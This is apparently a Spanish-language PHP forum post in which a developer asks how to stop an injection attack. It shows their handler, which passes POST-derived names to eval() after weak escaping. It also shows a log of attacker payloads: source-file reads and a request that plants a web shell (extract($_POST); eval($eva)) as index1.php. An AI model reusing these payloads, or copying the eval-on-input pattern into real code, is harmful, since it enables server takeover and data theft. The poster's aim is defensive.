Tengo el siguiente problema me estan haciendo una inyecion y la unica forma q se me ocurre es a traves de:
Código PHP:
Ver original<?php
$pr="arme_";
$_us="{$pr}users";
$_ol="{$pr}online";
$_fi="{$pr}files";
$_st="{$pr}estad";
foreach( $_POST as $data => $valor ){
$_POST [ $data ] = str_replace ( "'" , "\'" , $_POST [ $data ]); }
foreach( $_POST as $data => $valor ){
$_POST [ $data ] = str_replace ( "$" , "\'" , $_POST [ $data ]); }
$data=$_POST['data'];
$fn=array('ping','initialize','login','themess','exitapp','changeattr','changesas','adminact','delfile','sendfile','aprobfile','nopriv','endsession','changeprof','changemydata','writeon','newlnk'); $ul=$_SESSION['ul'];
$ret='';
foreach($prs as $pr){parse_str($pr); // $i= id enviado if (in_array($a,$fn)){ // si es una funcion valida if ($i>$ul || $i==0){ // si no fue evaluada anteriormente u obligatoria
eval($a.'($pr);'); //echo "alert('aaa=$i');"; if ($i!=0) $ul=$i; // solo las no eval
}} else {
$ret.="unkw('$a');\r\n";
}
} $_SESSION['ul']=$ul;
////////////////////////////////////////////////////////////////////////////////
if (!isset($_POST['svr'])) $_POST['svr']=0; /*if (isset($_SESSION['me'])) ping($_POST['svr']); else {
$ret.="force_disconect();\r\n";
}*/
$ret="revived($ul);\r\n".$ret;
//$ret.="alert('".strlen($ret)."');\r\n";
echo "$ret";
Y gracias a un script he podido detectar q me han inyectado lo siguiente:
IP: xxx
Method: POST
Value: echo file_get_contents(getenv(\'SCRIPT_FILENAME\'));
Script:
Time: Tuesday 01st 2011f March 2011 12:45:37 PM
==================================
IP: xxx
Method: POST
Value: <? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
Script:
Time: Tuesday 01st 2011f March 2011 12:45:37 PM
==================================
IP: xxx
Method: POST
Value: echo file_get_contents(getenv(SCRIPT_FILENAME));
Script:
Time: Tuesday 01st 2011f March 2011 12:46:50 PM
==================================
IP: xxx
Method: POST
Value: file_put_contents($z1,$z2);
Script:
Time: Tuesday 01st 2011f March 2011 12:50:43 PM
==================================
IP: xxx
Method: POST
Value: a=eval($et);//&fn[]=eval($et);//&et=aaaass&z1=index1.php&z2=<? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
Script:
Time: Tuesday 01st 2011f March 2011 01:10:31 PM
Por favor necesito ayuda. Alguna sugerencia de como evitar la inyeccion.
Agradecido de antemano. Al parecer utliza mis eval para inyectar el codigo, como puedo evaluar?, estuve probando varias funciones pero que ninguna resultó totalmente efectiva.